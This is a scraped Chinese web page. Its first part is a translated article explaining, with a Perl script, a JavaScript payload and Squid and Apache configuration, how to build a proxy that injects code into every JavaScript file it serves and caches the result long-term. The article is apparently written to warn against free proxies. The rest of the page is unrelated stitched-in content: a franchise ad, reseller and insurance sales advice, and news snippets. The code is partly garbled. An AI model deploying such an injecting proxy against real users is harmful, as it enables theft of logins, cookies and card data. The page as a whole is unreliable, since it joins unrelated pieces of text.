为什么免费代理是“免费”的？ - 文章 - 伯乐在线
& 为什么免费代理是“免费”的？
【伯乐在线注】：原文副标题是“因为这是一种轻松搞到成千上万用户数据的途径”，作者后来还写了一篇文章《》。
最近偶然发现， Chema Alonso 在 Defcon 20 会议上谈到他如何从头开始创建一个JavaScript 僵尸网络，然后如何使用它来找到骗子和黑客。
一切都是通过一个 SQUID 代理并修改了些小配置完成的。
这个想法非常简单：
1.【服务器】在一台 linux 服务器上安装 Squid
2.【Payload】修改服务器配置，给所有传输的 javascript 文件插入一些代码，这些代码的作用就是将用户数据传送到你的服务器上，比如用户在表单中输入的所有数据。
3.【缓存】将修改过的 js 文件的缓存时间尽可能延长。
可能发生的最坏事情是什么？
当某人能强迫你加载一个受感染的 JS 文件， 那他们可以：
窃取你访问的网站的登录信息（从登录表单中或 cookies）
窃取你的银行账号或信用卡信息
强迫你参与 DDOS 攻击，让你的浏览器一秒钟内加载一个网站几百次，通过 iframe 或 script（脚本）来发送请求。
基本你上网做的任何事情都能看到（包括你阅读时鼠标的位置）
如果你的网站加载了一些不安全的资源（比如从一个 http 站点加载 jquery），那该手法在 https 链接上也能生效。大多数浏览器都会提醒你，有些甚至会阻止你访问不安全的内容，但是没有人注意到浏览器地址栏中“锁”的符号。
在介绍中，Chema 说他将修改过的服务器 IP 地址发布到网络上，几天后就有 5000 多人使用这个代理。大多数使用代理的人都是为了做坏事，因为他们都知道使用了代理在网络上就变成匿名了，似乎许多人都没有考虑过这个问题：代理同样也可以对他们做一些坏事。
我在想是不是真的那么简单，所以我建了一个运行 Debian(Linux的一个发行版) 的虚拟机，然后努力实现这些概念。
编写自己的 js 来感染代理
假设你有一个运行 squid 的代理，同时你还需要一个网站服务器，如使用 /var/www 为根目录(默认设置)的 Apache 服务器。
步骤1：创建一个 payload
我打算用一个简单的脚本获取网页上所有的链接，然后将 href(链接) 属性改写成我的站点。
/etc/squid/payload.js
JavaScript
for(var i=0;i&document.getElementsByTagName('a').i++)
document.getElementsByTagName('a')[i].href = "https://blog.haschek.at";
for(var i=0;i<document.getElementsByTagName('a').length;i++)&&&& document.getElementsByTagName('a')[i].href = "https://blog.haschek.at";
步骤2：将脚本注入所有请求的 js 文件中。
/etc/squid/poison.pl
#!/usr/bin/perl
$count = 0;
$pid = $$;
if($_ =- /(.*.js)/i)
$url = $1;
system("/usr/bin/wget","-q","-O","/var/www/tmp/$pid-$count.js","$url");
system("chmod o+r /var/www/tmp/$pid-$count.js");
system("cat /etc/squid/payload.js && /var/www/tmp/$pid-$count.js");
print "http://127.0.0.1:80/tmp/$pid-$count.jsn";
print "$_n";
1234567891011121314151617181920212223
#!/usr/bin/perl&$|=1;$count = 0;$pid = $$;&while(<>){&&chomp $_;&&if($_ =- /(.*.js)/i)&&{&&&&&&&&$url = $1;&&&&&&&&system("/usr/bin/wget","-q","-O","/var/www/tmp/$pid-$count.js","$url");&&&&&&&&system("chmod o+r /var/www/tmp/$pid-$count.js");&&&&&&&&system("cat /etc/squid/payload.js && /var/www/tmp/$pid-$count.js");&&&&&&&&print "http://127.0.0.1:80/tmp/$pid-$count.jsn";&&}&&else&&{&&&&&&&&print "$_n";&&}$count++;}
这个脚本会用 wget 检索到客户端请求的原来的 javascript 文件，然后将 /etc/squid/payload.js 文件中的代码增加进去。这个修改的文件（包含我们的有效负载）将被发送给客户端。你也可以创建文件夹 /var/www/tmp ，然后允许 squid 在该文件夹中写入。这个文件夹可以存放所有被修改过的 js 脚本。
步骤3：告诉 Squid 使用上文中的脚本
在 /etc/squid/squid.conf 中添加
url_rewrite_program /etc/squid/poison.pl
url_rewrite_program /etc/squid/poison.pl
步骤4：让缓存永不过期
/var/www/tmp/.htaccess
ExpiresActive On
ExpiresDefault "access plus 3000 days"
ExpiresActive OnExpiresDefault "access plus 3000 days"
这几行告诉 apache 服务器，设置一个疯狂的过期（缓存）时间，所以它会一直存在用户的浏览器中，直到他们清除缓存或 cookies。
重启下 squid 就能运行了。如果你连接到代理上，然后浏览网页，网页会显示预期的内容，但是所有的链接会被指向这个博客。这项技术更猥琐的是，当你断开了与代理的连接，从代理缓存的 js 文件仍存在浏览的缓存中。
在我的例子中 payload 不太具有破坏性，用户很快就能理解什么是“钓鱼”，但是富有创造性的 payload 或像 Beef 类似的框架就能被用来实现各种各样的东西。告诉你的朋友们，绝不要使用免费的代理，因为许多代理就做这些坏事情。
安全上网（但不要使用免费的代理）
关于作者：
可能感兴趣的话题
关于伯乐在线博客
在这个信息爆炸的时代，人们已然被大量、快速并且简短的信息所包围。然而，我们相信：过多“快餐”式的阅读只会令人“虚胖”，缺乏实质的内涵。伯乐在线内容团队正试图以我们微薄的力量，把优秀的原创文章和译文分享给读者，为“快餐”添加一些“营养”元素。
新浪微博：
推荐微信号
（加好友请注明来意）
– 好的话题、有启发的回复、值得信赖的圈子
– 分享和发现有价值的内容与观点
– 为IT单身男女服务的征婚传播平台
– 优秀的工具资源导航
– 翻译传播优秀的外文文章
– 国内外的精选文章
– UI,网页，交互和用户体验
– 专注iOS技术分享
– 专注Android技术分享
– JavaScript, HTML5, CSS
– 专注Java技术分享
– 专注Python技术分享
& 2017 伯乐在线同样是做代理，为什么别人月入几万，而你只能月入几千？
同样是做代理，为什么别人月入几万，而你只能月入几千？
来自省外某地区的王先生，原本只是一名普通的打工者，每个月的工资不过几千元，家庭的重担压在身上，又没有自己的事业，简直被压力压得喘不过气来。一次假期回家的机会，王先生在当地通过朋友了解到，互联网行业拥有巨大的市场规模和潜力巨大的发展前景。逐渐的萌生了自己创业的想法，做最后的一搏。虽说对互联网产品、智能硬件产品没有很深入的了解，但在日常生活中、与平常的消费中无时不刻都在与之接触，尤其是微信点单、小程序、扫码支付等互联网产品。王先生用了几天时间，实地走访了当地一些商业中心、美食街、购物广场等餐饮、零售业集中的地段，都印证了扫码点餐、扫码支付及智能收银机的市场需求与普及程度。见到部分商家还在用传统的收银方式与点单方式，王先生顿时之间有了信心，因为，只要有需求，就会有市场，这事能做！通过网上搜索、考察，了解到乐外卖正在招智能硬件与微信软件的代理商，刚好符合王先生智能硬件与软件的代理需求，所以决定尝试一下乐外卖的代理。刚开始做代理时，因为缺乏一些经验也遇到一些困扰和难处，但乐外卖提供的培训、运营与产品技术支持都给了王老板巨大的帮助，特别是乐外卖代理“一次销售、终身分成”的政策，让王老板觉得有了最基本与长久的保障，在成为代理后的数月，王老板的公司也逐渐正规化、业务量不断的在增加。目前，加盟乐外卖，代理将专享6大赢利点， 系统充值分成、小程序分成、代运营分成、硬件差价、硬件服务费分成、软硬件支付分成等。没有“烧钱”的套路，更没有霸王条款，能享受到多种盈利模式，所有的商家与客户资源都是自己的，提高自己的知名度的同时，也在树立自己的个体品牌。乐外卖，是一家O2O系统技术及运营服务提供商，帮助商家实现“互联网+”转型升级，致力于为中小实体商家和O2O创业者提供多元化解决方案。了解更多代理详情，请搜索“乐外卖”。
本文仅代表作者观点，不代表百度立场。系作者授权百家号发表，未经许可不得转载。
百家号 最近更新：
简介: 未来的报告，新领导者的使用寿命
作者最新文章微商老大必看：你下面代理之“死”究竟是为什么？
我的图书馆
微商老大必看：你下面代理之“死”究竟是为什么？
他们是微商的小白，他们渴望成长。他们完全是听说一些微商赚钱的案例而从事微商。结果跳到误区，弄得自己遍体鳞伤。到底是什么原因，让你的小白代理存活不过几个月呢？今天我们就来揭秘一下！壹东拉西扯，没有目标看着别人玩微信赚钱或者看着别人刷朋友赚钱，总是感觉灰常简单。于是每天毫无技巧的发着内容。结果你的发别人根本不会看。一是图像，二是签名，三是朋友圈文案都不会发。甚至更多小白听说从事微商需要粉丝，于是不是靠加粉神器或者加入各式各样的群企图快速的加粉，于是听信了，结果发现加了人，没有互动，一件产品都卖不出去的时候，瞬间奔溃。其实别浪费你的时间了，好好做会一两种加粉的方法，慢慢来，不着急。别天天去浪费时间去想着快速加粉，因为心急吃不了热豆腐。你这么着急，急着生孩子吗。贰大惊小怪，无所事事他们总是关注无关紧要的破事，一会这一会那。好像什么世面都没有见过。一旦有些风吹草动，感觉天要踏下来一样。你永远要明白，企业去做这个产品，要花费多少精力。你只是个销售方，动不动说人家公司要倒闭，人家产品这不好那不好。你能不能有点独立思考的能力，有点判断能力，别没事这啊那啊。专注去销售你的产品。动不动就说这影响那影响。活着累吗。你连自己都不相信了，还做什么微商。叁消极抱怨，就是不怨自己消极抱怨。小代理如果一味的消极抱怨，你可以退出做微商。因为你从来不去想想如何去做好你自己，如何跟你的粉丝成为好友，互动，去分享专业的知识。动不动就说这啊那不好的。要是你天天抱怨，你做微商干嘛！所以小代理一直做不大，因为太过于消极，不敢尝试。还想花最少的钱拿总代一样级别的货。或者天天想着免费去听课，建议你多听几次，听着越多，你越会迷失自己。因为不专业的人太多，你听得越多，会错得越远。你天天急着去学习，又不实操，有什么意义呢！肆选择失误，见者就上这里面分两种，一是产品的选择错误；二是加入的团队选择的错误。究其原恩是小白去选择产品的时候太过于心急，见人家卖什么就卖什么。二是加入的团队不喜欢你，不愿意培训你，不愿意教你，你总是有点屁大的事就大呼小叫，谁会愿意教你。所以选择产品至关重要，你可以在选择产品的时候跟权威的人聊下，不要为了小的利益乱了阵脚。伍不会销售，复杂得很提到销售产品的时候，我们再次强调微商是卖信任，卖情感。你的人品不行，你的产品就很难卖。道理就是如此的简单。但太多的小白代理把问题复杂化了。一不去建立信任，二不去分享，三不去承担。四不懂礼尚往来，五不懂得坦白，结果遭人唾弃。最终之所以会这样是因为你的目的性太强，导致爱你的人不多。你永远要明白，这年头谁都不傻，你的哪点小算盘，傻瓜都知道。陆不会社交，不懂做人微商其实很多时候，我们在讲，你要混迹微商的圈子。但你永远要明白，你不牛逼，你跟再牛逼的人一起也无济于事。所以你要学会让自己变得强大。如何强大？一是：专业化生存。提高自己的专业化知识，让自己变得强大起来。二是：多去分享，跟别人分享你的微商经历，分享你从事微商的误区，让你的朋友从事微商的时候避免误区。三是：跟大咖合影的时候，重点不是去拍产品的照片，而是要去让大咖去分享你，推荐你。聪明的小白微商做到了，所以越做越好。柒思维固化，不会变化思维固化。我们说微商更多的是灵活。更多的生活，是分享，人性的分享继而是产品的销售。但是你要明白你粉丝的需求。有些人有事就找你，没事不找你。甚至找你的时候连你的朋友圈都不看，他们根本不懂你，怎么能成交呢。你都不关注别人，试图别人关注你。别以自己很牛逼，这世上牛逼的人多了去了。你要学会从事微商的时候灵活变化，遇到问题就去解决，所以能舍才能得。所以你要学会开放性思维，你越开放，你收获的越多。接下来讲讲微商代理起步的技巧与方法。在这里，先提醒大家，想要成为一个合格微商的先决条件是心态和分享，不要总有一夜暴富，功利性太强以及分分钟秒杀马云的想法，当然，大伙想想还是可以的~~1选择货源对于微商新手而言，选货源大部分的微商开始都是很盲目的，不知该选什么产品。那我认为呢，微商新手最好是选择自己比较感兴趣的产品，因为兴趣，你才会自然的全身心的投入去经营这款产品。不要以为别人做的好的产品，你也一定可以，每个人的需求和能力都是不一样的，选择自己喜欢的产品，才能快乐的工作。 2客源如果是微商新手的话，你可以去一些比较活跃的贴吧，微博，论坛，博客等网站，写一些关于产品信息之类的文章，尽量写的要让大众好接受。当文章有了一定的作用的时候，我想你的好友也肯定有了一定的数量，那么你就可以用精准引流的方法来拓展好友圈了。 3心态做微商这么久以来，我真的见过很多客户，有些想做微商代理的一上来就问，万一我的货卖不出去怎么办，万一我赔了怎么办？那我真的在这里很想说，如果你一开始就想这些亏了怎么办，那你后面的压力肯定会很大，而且有些事情，你不去迈出第一步，你永远也不知道你能迈出多少，你究竟能走到哪一步。所以做任何事，我们都要往好的一方面去想，没有人会一直不成功的，我始终相信，付出总会有回报，努力就会有收获。所以想做微商的人，必须要有一个积极的心态，要往成功的方面想。 给微商新手代理的忠告★1.好好卖货，卖好货；★2.做人要诚信，对得起客户和自己的代理；★3.做好自己，微商不难；★4.勇敢的卖出第一步，坚持做到底；★5.发现自己的特长，慢慢修炼，慢就是快。本文来源于网络，无法核实真实出处。如涉及侵权请直接留言指出，我们将及时处理，感谢理解！长按识别下面二微码进入唯一上市的精选速购商城：
进入商城，免费注册成为会员进入个人中心点击《我要开店》，立刻拥有你的购物商城，精选速购带您进入全民轻创业时代！如您想开店，请点击阅读原文：
馆藏&71288
TA的最新馆藏
喜欢该文的人也喜欢保险代理人为什么被客户拒绝，不外乎就是这六个原因吗？
各位代理人们外出陌拜客户，一定会有很多客户以各种理由拒绝你！因此，在日常的工作中我们会经常看到很多伙伴就会一脸沮丧。其实很多时候客户并不是拒绝保险，只是这个时候他还不了解保险，因此当客户拒绝的时候，伙伴们应该做的是解决客户的顾虑和疑惑，只有这样才能挖掘客户的需求。 只有找出病根了才能对症下药，那正常情况下，客户都会以什么理由拒绝你呢，小编今天给大家做了一个梳理，以便找出更好的应对之策，帮助各位保险代理人更好的签单。理由一：没钱保险只是把你存在银行的钱换一个地方存而已，银行给你的是微不足道的利息，而保险给你的是数以万计的保障！损失一点点利息，换取这么大的保障，哪个更划算，不是很明显么？另外，保险从来没有买不买的问题，而是买多少的问题，不同的经济状况，可以考虑不同的保险费率。现在说没钱买保险，以后你敢和医院说你没钱治病么？理由二单位有社保在我们国家，社保只是最基础的保障，我们国家的社保还有很多的不足，社保和商业保险的相互补充才是最完美的。举个例子，购买车子的时候国家会要求交强制保险，但是很多人都会担心车子平时里再出什么意外，买车了第一时间给车子上车损险、盗抢险、第三者责任险等商业险。难道车子比人还重要么？理由三我没那么倒霉客户的平安健康是每一位保险人的心愿，但是，意外总会在不经意间来临，每年中国因意外死亡的人数超过八十万，在人生道路上，即便我们小心翼翼，但是还是会有种种的意外让我们措手不及。疾病、意外等等都是人生旅途上的暗礁，学会用保险保障未来，一旦风雨来了，我们无法庇护自己的亲人的时候，就让保险来替我们挡一挡风雨，来替我们照顾她们剩下的路。
今天（8月12日）下午，央行公布了7月份的金融数据，虽然有思想准备，还是感觉大吃一惊！ 最让人惊诧的是7月份的M2同比增速，只有10.2%...
&来源：博闻财经
台湾动物园长颈鹿在前往与配偶见面的路上因惊吓死亡；日本驻华大使馆提醒在华日本人谨言慎行；蚊帐成新晋“网红”走红里约；塞尔...
&来源：东北亚财经mp
8月10日，国家药典委在官网发布标准修订公示，拟对菊明降压片、麻仁润肠软胶囊等21个中药品种进行标准提高...
&来源：健康赛先生
转自微信公众号： 券商中国A股终于迎来了一根像样的长阳。以往不同，本次进攻是由地产、银行、券商等大蓝筹发起...
&来源：腾讯证券
2016年以来，至少已有山东、重庆、辽宁、江苏、上海、海南、天津、河北、北京等9个地区提高了最低工资标准，那么...
&来源：金投网
业余车新闻，专业逗比范儿。话题无下限，节操是路人往往有很多人会觉得二手车过户是件麻烦事，这其中还得办理各种手续，一说到这个过程...
&来源：卡范CarFan
文/银腾四海（ytsh028）导读：众所周知，近年来日本在经济上无异于一种依附于中国的姿态，不管是从外贸还是国际合作方面，少不了中国的支持。
&来源：北京时间
颓靡两天后的A股在8月12日突然“精神焕发”。经过“沉闷”的早盘后，沪指午后震荡走高，站稳3000点。
&来源：界面
图“信贷跳水，只剩房贷。”这句话来评论7月信贷数据再合适不过——信贷总量4636亿，其中房贷4773亿！据央行数据，7月末...
&来源：凤凰财经
好消息！本月15日起，北京、湖北、江苏等11个省市可在......
&来源：新浪乐居
问：怎么才能每天都收到这种文章呢?答：只需点击图片上方的《企业总裁》关注即可！十年前你是谁，一年前你是谁，甚至昨天你是谁，都不重要。
&来源：企业总裁商战智慧高端人脉圈mp
8月12日在2016博鳌房地产论坛会上，保利地产副总裁余英针对几个房地产的重点问题做了全面解读。
&来源：华夏时报
Ctrl+D&将本页面保存为书签，全面了解最新资讯，方便快捷。